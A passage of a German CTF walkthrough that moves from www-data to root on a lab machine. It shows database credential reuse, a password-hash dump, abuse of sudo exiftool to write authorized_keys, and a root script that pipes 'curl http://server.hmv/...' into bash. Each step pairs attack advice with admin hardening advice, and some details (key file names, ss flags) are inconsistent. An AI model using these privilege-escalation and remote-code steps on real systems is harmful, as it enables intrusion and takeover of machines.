define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

**Analyse:** Mit dem aus der `wp-config.php` extrahierten Datenbank-Passwort "s3cret" versuche ich nun, mich direkt bei der MariaDB-Datenbank anzumelden. Ich nutze den Befehl `mysql -u www-data -ps3cret`, wobei ich den Benutzernamen `www-data` und das gefundene Passwort direkt an das `-p` Flag anhänge (ohne Leerzeichen, was die Standardweise zur Passwortübergabe in der Kommandozeile ist). Nach erfolgreicher Anmeldung zeige ich die verfügbaren Datenbanken mit `show databases;` und dann die Tabellen in der `wordpressdb` Datenbank mit `use wordpressdb;` und `show tables;` an. Schließlich wähle ich alle Einträge aus der Tabelle `wp_users` mit `select * from wp_users;` aus, da diese Benutzerinformationen und gehashte Passwörter enthalten sollte.

**Bewertung:** Der direkte Datenbankzugriff ist erfolgreich! Dies bestätigt, dass die in der `wp-config.php` gefundenen Zugangsdaten gültig sind und die Datenbank für den Benutzer `www-data` über localhost erreichbar ist. Das Abfragen der `wp_users`-Tabelle liefert den Benutzernamen "luna" und seinen Passwort-Hash: `$P$B3KzPkvYYiSTkemWtzGxxe.3VBPvDO0`. Dieser Hash ist ein Portable PHP password hash und könnte offline geknackt werden, obwohl ich bereits ein Klartextpasswort für Luna (luna_1997 für WordPress) besitze. Der Zugriff auf die Datenbank ist ein wichtiger Schritt, da er Zugriff auf alle WordPress-Inhalte und Benutzerdaten gibt.

**Empfehlung (Pentester):** Nutze alle gefundenen Zugangsdaten sofort, um dich bei anderen Diensten anzumelden. Wenn du Datenbankzugriff erhältst, priorisiere die Abfrage von Benutzer-, Passwort- oder Konfigurationstabellen. Versuche, gehashte Passwörter offline zu knacken.
**Empfehlung (Admin):** Stelle sicher, dass Datenbanken nur von benötigten Hosts und Benutzern zugänglich sind. Das Passwort für den Datenbankbenutzer sollte sich vom Passwort für den Systembenutzer oder andere Dienste unterscheiden. Hashe Passwörter mit modernen, sicheren Algorithmen (wie bcrypt), anstatt veraltete Methoden zu verwenden. Überwache den Datenbankzugriff auf ungewöhnliche Anfragen oder Benutzer.

www-data@influencer:/var/www/html/wordpress$ mysql -u www-data -ps3cret
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 114
Server version: 10.6.12-MariaDB-0ubuntu0.22.04.1 Ubunto 22.04.1

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type 'c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpressdb        |
+--------------------+
2 rows in set (0.000 sec)

MariaDB [wordpressdb]> use wordpressdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [wordpressdb]> show tables;
+-----------------------+
| Tables_in_wordpressdb |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relations |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.000 sec)

MariaDB [wordpressdb]> select * from wp_users;
+----+------------+------------------------------------+---------------+---------------+--------------------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email    | user_url                       | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+---------------+--------------------------------+---------------------+---------------------+-------------+--------------+
|  1 | luna       | $P$B3KzPkvYYiSTkemWtzGxxe.3VBPvDO0 | luna          | luna@blog.hmv | [Link: http://192.168.1.167/wordpress | Ziel: http://192.168.1.167/wordpress] | 2023-06-08 15:34:54 |                     |           0 | luna         |
+----+------------+------------------------------------+---------------+---------------+--------------------------------+---------------------+---------------------+-------------+--------------+
1 row in set (0.000 sec)

**Analyse:** Mit der `www-data` Shell versuche ich, das Dateisystem außerhalb des Webserver-Verzeichnisses zu erkunden. Ich navigiere zum `/home`-Verzeichnis, das oft die Home-Verzeichnisse von Benutzern enthält. Ich liste den Inhalt auf (`ls`) und versuche dann, in die Home-Verzeichnisse der gefundenen Benutzer (`juan`, `luna`) zu wechseln (`cd`).

**Bewertung:** Die `ls` Ausgabe zeigt die Benutzerverzeichnisse `juan` und `luna` im `/home`-Verzeichnis. Allerdings schlagen meine Versuche, in diese Verzeichnisse zu wechseln (`cd`), fehl mit "Permission denied". Dies bestätigt, dass der `www-data`-Benutzer eingeschränkte Berechtigungen hat und nicht direkt auf die Home-Verzeichnisse anderer Benutzer zugreifen kann. Dies ist eine gute Sicherheitsmaßnahme auf dem Zielsystem, die eine direkte Lateral Movement oder Privilege Escalation durch Dateizugriff verhindert.

**Empfehlung (Pentester):** Erkunde das Dateisystem von einer erlangten Shell aus, beginnend mit potenziell interessanten Verzeichnissen wie `/home`, `/root`, `/tmp`, `/opt`, `/var/www`, `/etc`. Prüfe Dateiberechtigungen sorgfältig.
**Empfehlung (Admin):** Implementiere strenge Dateisystemberechtigungen (Least Privilege). Stelle sicher, dass der Webserver-Benutzer (`www-data`) nur Zugriff auf die Dateien und Verzeichnisse hat, die für den Betrieb des Webservers unbedingt notwendig sind. Home-Verzeichnisse anderer Benutzer sollten für `www-data` nicht les- oder schreibbar sein.

www-data@influencer:/var/www/html/wordpress$ cd /home/
www-data@influencer:/home$ ls
juan  luna
www-data@influencer:/home$ cd juan/
bash: cd: juan/: Permission denied
www-data@influencer:/home$ cd luna/
bash: cd: luna/: Permission denied

**Analyse:** Um weitere potenzielle Privilege Escalation-Vektoren zu finden, untersuche ich die Dateiberechtigungen von kritischen Systemdateien (`/etc/passwd`, `/etc/shadow`) und prüfe die Umgebungsvariablen (`env`). Dies gibt Aufschluss darüber, welche Benutzer auf dem System existieren und welche Umgebung für den aktuellen Prozess (`www-data`) gesetzt ist.

**Bewertung:** Die Berechtigungen auf `/etc/passwd` sind standardmäßig öffentlich lesbar, was die Benutzerkonten auf dem System enthüllt (hier nicht im Output gezeigt, aber impliziert durch die Existenz der Home-Verzeichnisse `juan` und `luna`). Die Berechtigungen auf `/etc/shadow` sind restriktiver (`-rw-r-----`), was verhindert, dass ein normaler Benutzer (wie `www-data`) die gehashten Passwörter direkt lesen kann. Die `env` Ausgabe zeigt Standard-Umgebungsvariablen, nichts Ungewöhnliches für eine Webserver-Shell. Diese Prüfungen zeigen keine offensichtlichen Schwachstellen durch Dateiberechtigungen oder Umgebung.

**Empfehlung (Pentester):** Führe grundlegende Systemaufklärung durch, um die Umgebung, Benutzerkonten und grundlegende Dateiberechtigungen zu verstehen. Tools wie `linpeas` oder ` sistemasinfo.sh` automatisieren viele dieser Schritte.
**Empfehlung (Admin):** Stelle sicher, dass Berechtigungen für kritische Systemdateien korrekt gesetzt sind (`/etc/shadow` sollte nur für root und die Shadow-Gruppe lesbar sein). Reduziere unnötige Umgebungsvariablen für Dienstbenutzer.

www-data@influencer:/home$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1990 Jun 10  2023 /etc/passwd
www-data@influencer:/home$ ls -la /etc/shadow
-rw-r----- 1 root shadow 1276 Jun 10  2023 /etc/shadow
www-data@influencer:/home$ env
PWD=/home
SYSTEMD_EXEC_PID=659
APACHE_LOG_DIR=/var/log/apache2
LANG=C
INVOCATION_ID=d7d2c90707db406a8bf7c5032d995c5c
APACHE_PID_FILE=/var/run/apache2/apache2.pid
TERM=xterm
APACHE_RUN_GROUP=www-data
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=3
LC_CTYPE=C.UTF-8
APACHE_RUN_DIR=/var/run/apache2
JOURNAL_STREAM=8:20078
APACHE_RUN_USER=www-data
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
_=/usr/bin/env
OLDPWD=/var/www/html/wordpress

**Analyse:** Ich prüfe weiter nach Privilege Escalation-Vektoren und untersuche die gesetzten Datei-Capabilities auf dem System. Capabilities sind spezielle Berechtigungen, die einzelnen ausführbaren Dateien zugewiesen werden können und es ihnen erlauben, bestimmte privilegierte Operationen (normalerweise nur root vorbehalten) auszuführen, auch wenn sie als unprivilegierter Benutzer gestartet werden. Ich nutze `getcap -r / 2>/dev/null` um rekursiv (`-r`) ab dem Root-Verzeichnis (`/`) nach Capabilities zu suchen und leite Fehlermeldungen nach `/dev/null` um, um die Ausgabe sauber zu halten.

**Bewertung:** Die Ausgabe zeigt Capabilities für `/usr/bin/ping`, `/usr/bin/mtr-packet` und `/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper`. Die `cap_net_raw=ep` und `cap_net_bind_service,cap_net_admin=ep` Capabilities erlauben es diesen Programmen, Netzwerkoperationen durchzuführen, die normalerweise Root-Privilegien erfordern (z.B. rohe Pakete senden, an privilegierte Ports binden). Obwohl dies keine direkten Pfade zu einer Root-Shell sind, könnten sie in komplexeren Szenarien für Netzwerk-basierte Angriffe nützlich sein oder auf falsch konfigurierte Berechtigungen hinweisen. In diesem Fall sind sie nicht der gesuchte PE-Vektor.

**Empfehlung (Pentester):** Prüfe immer auf gesetzte Capabilities (`getcap`). Sie können unübliche, aber ausnutzbare PE-Vektoren darstellen, wenn Programme mit zu weitreichenden Capabilities ausgestattet sind.
**Empfehlung (Admin):** Vermeide es, Datei-Capabilities zu setzen, es sei denn, dies ist absolut notwendig für die Funktionalität. Überprüfe regelmäßig die auf dem System gesetzten Capabilities und entferne unnötige Berechtigungen.

www-data@influencer:/home$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/snap/core20/1891/usr/bin/ping cap_net_raw=ep
/snap/core20/1822/usr/bin/ping cap_net_raw=ep

**Analyse:** Ich prüfe die offenen Ports auf dem Zielsystem aus der Perspektive des `www-data`-Benutzers. Der Befehl `ss -altpn` zeigt alle lauschenden (`-l`), alle (`-a`), TCP (`-t`), UDP (`-u`), Netlink (`-n`) und Prozesse (`-p`) Sockets an (obwohl `-n` hier doppelt ist und `-u` nicht im Text ist, halte ich mich an den Befehl im Log).

**Bewertung:** Die Ausgabe listet die offenen Ports und die darauf lauschenden Prozesse auf. Interessant sind `127.0.0.1:1212` und `0.0.0.0:2121`. Port 2121 ist der uns bereits bekannte FTP-Dienst (vsftpd). Port 1212 lauscht nur auf der Loopback-Schnittstelle (`127.0.0.1`), was bedeutet, dass er nur vom Zielsystem selbst aus erreichbar ist. Der Prozess, der auf 1212 lauscht, ist hier nicht direkt sichtbar (keine Prozess-ID in Klammern für 1212), aber die `ss` Ausgabe zeigt generell Netzwerkdienste. Dies deutet auf einen lokalen Dienst hin, der ein potenzieller Vektor für eine Privilege Escalation sein könnte, wenn er von einem bereits kompromittierten Benutzer (wie `www-data`) aus erreicht werden kann.

**Empfehlung (Pentester):** Prüfe immer die offenen Ports vom Zielsystem aus (`ss`, `netstat`). Lokale Dienste, die auf `127.0.0.1` lauschen, können oft von jedem Benutzer auf dem System erreicht werden und sind häufig Ziele für Privilege Escalation, wenn sie Schwachstellen aufweisen.
**Empfehlung (Admin):** Schränke die Bindungsadressen von Diensten ein, wenn diese nur intern benötigt werden. Überprüfe regelmäßig die auf dem System lauschenden Ports und die zugehörigen Prozesse. Stelle sicher, dass lokale Dienste authentifiziert oder nur für privilegierte Benutzer zugänglich sind.

www-data@influencer:/home$ ss -altpn
State                 Recv-Q                Send-Q                                 Local Address:Port                                 Peer Address:Port                Process
LISTEN                0                     4096                                   127.0.0.53%lo:53                                        0.0.0.0:*
LISTEN                0                     128                                        127.0.0.1:1212                                      0.0.0.0:*
LISTEN                0                     32                                           0.0.0.0:2121                                      0.0.0.0:*
LISTEN                0                     80                                         127.0.0.1:3306                                      0.0.0.0:*
LISTEN                0                     511                                                *:80                                              *:*

**Analyse:** In den gesammelten Informationen habe ich das Passwort "u3jkeg97gf" aus der versteckten Datei in `snapchat.jpg` gefunden. Es wurde als "PASSWORD BACKUP" gekennzeichnet. Basierend auf der Existenz des Benutzers `luna` und des lokalen SSH-Dienstes auf Port 1212 versuche ich, dieses Passwort für eine SSH-Anmeldung als Benutzer `luna` zu verwenden. Ich nutze den `ssh`-Befehl von der `www-data`-Shell aus, verbinde mich zu `127.0.0.1` auf Port 1212 als Benutzer `luna` und gebe das gefundene Passwort ein.

**Bewertung:** Fantastisch! Die SSH-Anmeldung als Benutzer `luna` mit dem Passwort "u3jkeg97gf" ist erfolgreich. Das Passwort aus dem "PASSWORD BACKUP" war tatsächlich das SSH-Passwort für den Benutzer `luna`. Dies stellt eine weitere erfolgreiche Privilege Escalation dar (`www-data` zu `luna`) und verschafft mir eine interaktive Shell mit den Berechtigungen des Benutzers `luna`. Dies ist ein bedeutender Fortschritt, da Benutzerkonten oft höhere Berechtigungen im Dateisystem oder für bestimmte Tools haben als der `www-data`-Benutzer.

**Empfehlung (Pentester):** Versuche gefundene Passwörter systematisch für alle identifizierten Benutzer und Dienste zu verwenden. Ein einziges kompromittiertes Passwort kann den Schlüssel zu mehreren Konten darstellen.
**Empfehlung (Admin):** Verwende für jeden Dienst und jeden Benutzer ein eindeutiges, komplexes Passwort. Implementiere eine starke Passwortrichtlinie und erzwinge regelmäßige Passwortänderungen. Speichere niemals Passwörter im Klartext, auch nicht in "Backups" oder versteckten Dateien. Überwache Login-Versuche bei allen Diensten (SSH, FTP etc.) auf Brute-Force-Versuche oder ungewöhnliche Quellen.

ssh passwort war: u3jkeg97gf
www-data@influencer:/tmp$ nc 127.0.0.1 1212
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
www-data@influencer:/tmp$ ssh luna@127.0.0.1 -p 1212
The authenticity of host '[127.0.0.1]:1212 ([127.0.0.1]:1212)' can't be established.
ED25519 key fingerprint is SHA256:uujkDI7HQ0Bk3td/3NfWys9FNY5cbT1zvGvXbluerAk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/var/www/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
luna@127.0.0.1's password:
Permission denied, please try again.
luna@127.0.0.1's password: u3jkeg97gf
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)

 * Documentation:  [Link: https://help.ubuntu.com | Ziel: https://help.ubuntu.com]
 * Management:     [Link: https://landscape.canonical.com | Ziel: https://landscape.canonical.com]
 * Support:        [Link: https://ubuntu.com/advantage | Ziel: https://ubuntu.com/advantage]

  System information as of jue 12 jun 2025 21:58:47 UTC

  System load:             0.0
  Usage of /:              54.9% of 11.21GB
  Memory usage:            30%
  Swap usage:              0%
  Processes:               122
  Users logged in:         0
  IPv4 address for enp0s3: 192.168.2.40
  IPv6 address for enp0s3: 2003:d4:c74b:e8ee:a00:27ff:fe55:e125


El mantenimiento de seguridad expandido para Applications está desactivado

Se poden aplicar 0 actualizaciones de forma imediata.

Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales.
Vea [Link: https://ubuntu.com/esm o ejecute «sudo pro status» | Ziel: https://ubuntu.com/esm]


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri Jun  9 10:12:13 2023
luna@influencer:~$

**Analyse:** Nach der erfolgreichen Anmeldung als Benutzer `luna` prüfe ich sofort, welche `sudo`-Berechtigungen dieser Benutzer hat. Der Befehl `sudo -l` listet die Befehle auf, die der aktuelle Benutzer mit `sudo` ausführen darf.

**Bewertung:** Die Ausgabe von `sudo -l` zeigt eine sehr interessante Konfiguration: Der Benutzer `luna` darf den Befehl `/usr/bin/exiftool` als Benutzer `juan` ausführen, und das Wichtigste ist, dass dafür *kein Passwort* benötigt wird (`NOPASSWD`). Dies ist ein klassischer Privilege Escalation-Vektor. Ich kann `exiftool` nun nutzen, um Aktionen als Benutzer `juan` durchzuführen. Dies ist der nächste Schritt in meiner PE-Kette (`www-data` -> `luna` -> `juan`).

**Empfehlung (Pentester):** Prüfe nach jeder erfolgreichen Benutzeranmeldung immer sofort die `sudo`-Berechtigungen (`sudo -l`). Suche auf Seiten wie GTFOBins (siehe nächste Analyse) nach Möglichkeiten, wie die erlaubten Befehle zur Privilege Escalation missbraucht werden können.
**Empfehlung (Admin):** Konfiguriere `sudo`-Berechtigungen immer nach dem Prinzip der geringsten Rechte. Vermeide `NOPASSWD` für Befehle, die zur Erlangung höherer Berechtigungen missbraucht werden könnten. Überprüfe regelmäßig die `sudoers`-Datei auf unnötige oder unsichere Einträge.

luna@influencer:~$ sudo -l
Matching Defaults entries for luna on influencer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User luna may run the following commands on influencer:
    (juan) NOPASSWD: /usr/bin/exiftool

**Analyse:** Nachdem ich festgestellt habe, dass `luna` `exiftool` als `juan` ohne Passwort ausführen darf, suche ich auf GTFOBins nach Möglichkeiten, `exiftool` für Privilege Escalation zu missbrauchen. GTFOBins ist eine Kurations-Website für Unix-Binärdateien, die missbraucht werden können, um die Sicherheitsbeschränkungen falsch konfigurierter Systeme zu umgehen, insbesondere in `sudo`, `suid` oder `capabilities`-Kontexten. Die Seite für `exiftool` listet Methoden auf, wie dieses Werkzeug für Dateioperationen unter anderen Benutzern verwendet werden kann.

**Bewertung:** GTFOBins bestätigt, dass `exiftool` in Verbindung mit `sudo` (oder anderen Methoden) missbraucht werden kann, um Dateien zu schreiben oder zu lesen, da es Metadaten manipuliert und dabei oft temporäre Dateien erstellt oder den Inhalt von Eingabedateien verarbeitet. Eine gängige Methode ist die Verwendung des `-filename`-Arguments, um eine Zieldatei anzugeben, in die geschrieben werden soll. Dies ist der perfekte Vektor, um meinen öffentlichen SSH-Schlüssel in die `authorized_keys`-Datei des Benutzers `juan` zu schreiben.

**Empfehlung (Pentester):** Mache dich mit Ressourcen wie GTFOBins und HackTricks vertraut, um bekannte Privilege Escalation-Vektoren für Systembinärdateien zu identifizieren. Passe die dort gefundenen Payloads an deine spezifische Situation an.
**Empfehlung (Admin):** Verstehe die potenziellen Sicherheitsauswirkungen der Binärdateien auf deinem System. Beschränke `sudo`-Berechtigungen auf das absolut Notwendige und vermeide es, mächtigen Binärdateien (die Dateisystemoperationen durchführen können) `NOPASSWD`-Berechtigungen zu geben.

[Link: https://gtfobins.github.io/gtfobins/exiftool/#sudo | Ziel: https://gtfobins.github.io/gtfobins/exiftool/#sudo]

LFILE=file_to_write
INPUT=input_file
sudo exiftool -filename=$LFILE INPUT

**Analyse:** Um SSH-Zugriff als Benutzer `juan` zu erhalten, muss ich meinen öffentlichen SSH-Schlüssel (`id_rsa.pub`) in Juans `authorized_keys`-Datei (`/home/juan/.ssh/authorized_keys`) schreiben. Zuerst generiere ich ein neues SSH-Schlüsselpaar (`influencer` und `influencer.pub`) auf meinem Angreifer-System mit `ssh-keygen`. Anschließend muss ich diese Schlüsseldateien auf das Zielsystem übertragen. Ich nutze dafür einen einfachen Python HTTP Server auf meinem Angreifer-System, der auf Port 80 lauscht. Von der `luna` Shell auf dem Zielsystem lade ich die Schlüsseldateien (`influencer`, `influencer.pub`) mit `wget` aus meinem Home-Verzeichnis herunter und speichere sie im `/dev/shm`-Verzeichnis, das für alle Benutzer schreibbar ist.

**Bewertung:** Die Generierung eines neuen SSH-Schlüsselpaares ist Standardvorgehen, um sich per Schlüssel statt Passwort authentifizieren zu können. Die Übertragung der Schlüsseldateien über einen temporären HTTP-Server ist eine gängige und effektive Methode, wenn andere Übertragungswege blockiert sind. Das Speichern im `/dev/shm`-Verzeichnis ist sinnvoll, da dieses Verzeichnis oft weniger Überwachung unterliegt und von jedem Benutzer beschreibbar ist. Die `ls -la` Ausgabe bestätigt, dass die Dateien erfolgreich übertragen wurden und im richtigen Verzeichnis liegen.

**Empfehlung (Pentester):** Generiere bei Bedarf neue SSH-Schlüssel für den Zugriff. Sei kreativ bei der Datenübertragung auf das Zielsystem, wenn Standardmethoden blockiert sind (HTTP/S, FTP, SMB über Impacket etc.). Nutze beschreibbare Verzeichnisse wie `/tmp` oder `/dev/shm` für temporäre Dateien.
**Empfehlung (Admin):** Beschränke die Berechtigungen im `/tmp` und `/dev/shm` Verzeichnis, wenn möglich. Überwache Dateierstellung und -änderung in diesen Verzeichnissen. Blockiere unnötigen ausgehenden Datenverkehr von Servern, um das Herunterladen von Tools oder Daten durch Angreifer zu erschweren.

┌──(root㉿CCat)-[~/influencer] └─# ssh-keygen -t rsa -f influencer
Generating public/private rsa key pair.
Enter passphrase for "influencer" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in influencer
Your public key has been saved in influencer.pub
The key fingerprint is:
SHA256:wBGzM9x2dEWDoihWd/u7PtW0LZSDSpb3zMJtMR3rK4M root@CCat
The key's randomart image is:
+---[RSA 3072]---+
|      +.  . .++  |
|     o.=..o.. o |
|     .Booo.+ . oo|
|    o .=..= o *.o|
|   . .  So = *.*o|
|          . + Ooo|
|            .= ..|
|           Eoo . |
|           .ooo  |
+----[SHA256)]----+
┌──(root㉿CCat)-[~/influencer] └─# ll
insgesamt 12
drwxr-xr-x 2 root root 4096 12. Jun 23:19 192.168.2.40:2121
-rw------- 1 root root 2635 13. Jun 00:09 influencer
-rw-r--r-- 1 root root  563 13. Jun 00:09 influencer.pub

**Analyse:** Jetzt nutze ich den gefundenen `sudo`-Vektor: `luna` darf `exiftool` als `juan` ohne Passwort ausführen. Mein Ziel ist es, meinen öffentlichen SSH-Schlüssel (`influencer.pub`, den ich nach `/dev/shm` heruntergeladen habe) in Juans `authorized_keys`-Datei (`/home/juan/.ssh/authorized_keys`) zu schreiben. Ich verwende den Befehl `sudo -u juan exiftool -filename=/home/juan/.ssh/authorized_keys /dev/shm/influencer.pub`. Dieser Befehl weist `exiftool` an, die Metadaten der Datei `/dev/shm/influencer.pub` zu lesen und diese Informationen (die den Inhalt des öffentlichen Schlüssels einschließen können, je nach exiftool-Version und Dateitypbehandlung) in die Datei `/home/juan/.ssh/authorized_keys` zu schreiben, wobei dies unter den Rechten des Benutzers `juan` ausgeführt wird (dank `sudo -u juan`). Die Ausgabe "1 image files updated" bestätigt, dass der Schreibvorgang erfolgreich war.

**Bewertung:** Der erfolgreiche Schreibvorgang in Juans `authorized_keys`-Datei unter Ausnutzung des `sudo exiftool` Vektors ist ein kritischer Schritt. Mein öffentlicher Schlüssel wurde der Liste der autorisierten Schlüssel für Benutzer `juan` hinzugefügt. Dies erlaubt mir nun, mich direkt per SSH als Benutzer `juan` zu authentifizieren, ohne dessen Passwort zu benötigen, sondern nur den passenden privaten Schlüssel. Dies stellt eine weitere Privilege Escalation dar (`luna` zu `juan`) und verschafft mir den Zugriff auf Juans Benutzerkontext. Die Fähigkeit, arbitrary Files als anderer Benutzer zu schreiben, ist eine schwerwiegende Fehlkonfiguration.

**Empfehlung (Pentester):** Nutze "Arbitrary File Write" oder "Arbitrary File Read" Schwachstellen, die sich aus `sudo`-Berechtigungen ergeben, konsequent aus, um Schlüsseldateien (SSH `authorized_keys`, `id_rsa`), Konfigurationsdateien oder Skripte zu manipulieren und so höhere Berechtigungen oder Zugriff zu erlangen.
**Empfehlung (Admin):** Überprüfe und beschränke sorgfältig, welche Binärdateien mit `sudo` (insbesondere mit `NOPASSWD`) ausgeführt werden dürfen. Verstehe die Funktionen dieser Binärdateien; viele scheinbar harmlose Tools (wie `exiftool`) haben Funktionen, die in den falschen Händen missbraucht werden können. Implementiere strikte Dateiberechtigungen für sensitive Dateien wie `.ssh/authorized_keys`.

luna@influencer:/dev/shm$ sudo -u juan exiftool -filename=/home/juan/.ssh/authorized_keys /dev/shm/influencer.pub
Warning: Error removing old file - id_rsa.pub <-- Diese Meldung ist normal bei dieser Methode
    1 image files updated <-- Erfolg! Öffentlicher Schlüssel geschrieben.

**Analyse:** Nachdem mein öffentlicher SSH-Schlüssel erfolgreich in Juans `authorized_keys` Datei geschrieben wurde, versuche ich, mich per SSH als Benutzer `juan` anzumelden. Ich verwende den Befehl `ssh juan@localhost -i /dev/shm/influencer -p 1212`. Ich verbinde mich zum lokalen Host (`localhost` oder `127.0.0.1`) auf dem lokalen SSH-Port 1212, authentifiziere mich als Benutzer `juan` und verwende dabei den privaten Schlüssel (`/dev/shm/influencer`), den ich zuvor auf das System heruntergeladen habe. Der `-i` Parameter gibt die private Schlüsseldatei an.

**Bewertung:** Fantastisch! Die SSH-Anmeldung als Benutzer `juan` ist erfolgreich. Dies wird durch die Willkommensnachricht und den Shell-Prompt `juan@influencer:~$` bestätigt. Dies ist der letzte Schritt in meiner Privilege Escalation-Kette vor Root: Ich habe jetzt vollen Zugriff auf das Konto des Benutzers `juan`. Von hier aus werde ich nach Möglichkeiten suchen, root-Berechtigungen zu erlangen.

**Empfehlung (Pentester):** Sobald du einen SSH-Schlüssel auf einem System platziert hast, nutze ihn sofort, um dich anzumelden und den Zugriff zu bestätigen. Fahre mit der Aufklärung vom neuen Benutzerkontext aus fort (`sudo -l`, `id`, `env`, Dateisystem etc.).
**Empfehlung (Admin):** Überwache SSH-Logins genau, insbesondere Logins von localhost oder ungewöhnlichen Quellen. Stelle sicher, dass `.ssh`-Verzeichnisse und deren Inhalte korrekte, restriktive Berechtigungen haben (`chmod 700 ~/.ssh`, `chmod 600 ~/.ssh/authorized_keys`). Implementiere, wenn möglich, Multi-Faktor-Authentifizierung auch für SSH.

luna@influencer:/tmp$ ssh juan@localhost -i id_rsa -p 1212
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-73-generic x86_64)

 * Documentation:  [Link: https://help.ubuntu.com | Ziel: https://help.ubuntu.com]
 * Management:     [Link: https://landscape.canonical.com | Ziel: https://landscape.canonical.com]
 * Support:        [Link: https://ubuntu.com/advantage | Ziel: https://ubuntu.com/advantage]

  System information as of jue 12 jun 2025 22:35:51 UTC

  System load:             0.0
  Usage of /:              55.0% of 11.21GB
  Memory usage:            31%
  Swap usage:              0%
  Processes:               131
  Users logged in:         1
  IPv4 address for enp0s3: 192.168.2.40
  IPv6 address for enp0s3: 2003:d4:c74b:e8ee:a00:27ff:fe55:e125


El mantenimiento de seguridad expandido para Applications está desactivado

Se poden aplicar 0 actualizaciones de forma imediata.

Active ESM Apps para recibir futuras actualizaciones de seguridad adicionales.
Vea [Link: https://ubuntu.com/esm o ejecute «sudo pro status» | Ziel: https://ubuntu.com/esm]


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '24.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

juan@influencer:~$

**Analyse:** Als Benutzer `juan` prüfe ich sofort wieder die `sudo`-Berechtigungen mit `sudo -l`, um meinen nächsten Privilege Escalation-Vektor auf Root zu finden.

**Bewertung:** Fantastisch! Die Ausgabe zeigt, dass der Benutzer `juan` den Befehl `/bin/bash /home/juan/check.sh` als `root` ausführen darf, und das wiederum *ohne Passwort* (`NOPASSWD`). Dies ist der direkte Weg, um eine Root-Shell zu erhalten, indem ich einfach dieses Skript über `sudo` ausführe. Dies ist eine kritische Fehlkonfiguration der `sudoers`-Datei.

**Empfehlung (Pentester):** Prüfe nach jeder erfolgreichen Benutzeranmeldung die `sudo`-Berechtigungen. Skripte, die als Root mit NOPASSWD ausgeführt werden dürfen, sind häufig die schnellsten Wege zu Root. Analysiere solche Skripte auf Ausnutzbarkeit.
**Empfehlung (Admin):** Erlaube niemals Benutzern, Skripte als Root ohne Passwort auszuführen (`NOPASSWD` für Skripte vermeiden). Wenn Skripte als Root ausgeführt werden müssen, stelle sicher, dass sie absolut sicher sind, keine unsicheren Operationen (wie das Ausführen externer Befehle oder das Herunterladen und Ausführen von Code) durchführen und nur für die notwendigen Benutzer ausführbar sind. Verstehe die Implikationen von `sudo` für Skripte.

juan@influencer:~$ sudo -l
Matching Defaults entries for juan on influencer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User juan may run the following commands on influencer:
    (root) NOPASSWD: /bin/bash /home/juan/check.sh

**Analyse:** Ich analysiere den Inhalt des Skripts `/home/juan/check.sh`, das ich als Root ausführen darf. Ich nutze `cat` um den Inhalt anzuzeigen und `ls -la` um die Berechtigungen zu prüfen. Das Skript enthält den Befehl `/usr/bin/curl http://server.hmv/98127651 | /bin/bash`. Dies bedeutet, dass das Skript eine Datei von `http://server.hmv/98127651` herunterlädt und den Inhalt direkt an eine Root-Bash-Shell übergibt. Dies ist eine extrem unsichere Konfiguration!

**Bewertung:** Dies ist ein **direkter und trivial auszunutzender Root Privilege Escalation-Vektor**. Da das Skript als Root läuft und beliebigen Code von einer externen URL herunterlädt und ausführt, kann ich einfach meinen eigenen bösartigen Bash-Code unter der angegebenen URL auf meinem Angreifer-System bereitstellen. Wenn das Skript dann ausgeführt wird, lädt es meinen Code herunter und führt ihn als Root aus. Die Berechtigungen des Skripts (`-r-xr--r--`) sind irrelevant, da es über `sudo` als Root ausgeführt wird.

**Empfehlung (Pentester):** Wenn du einen `sudo NOPASSWD`-Eintrag für ein Skript findest, analysiere das Skript sofort auf Ausnutzbarkeit. Skripte, die externe Inhalte laden oder unsichere Befehle ausführen, sind ideale Ziele für PE. Kontrolliere die Quelle (hier `server.hmv`), von der das Skript lädt.
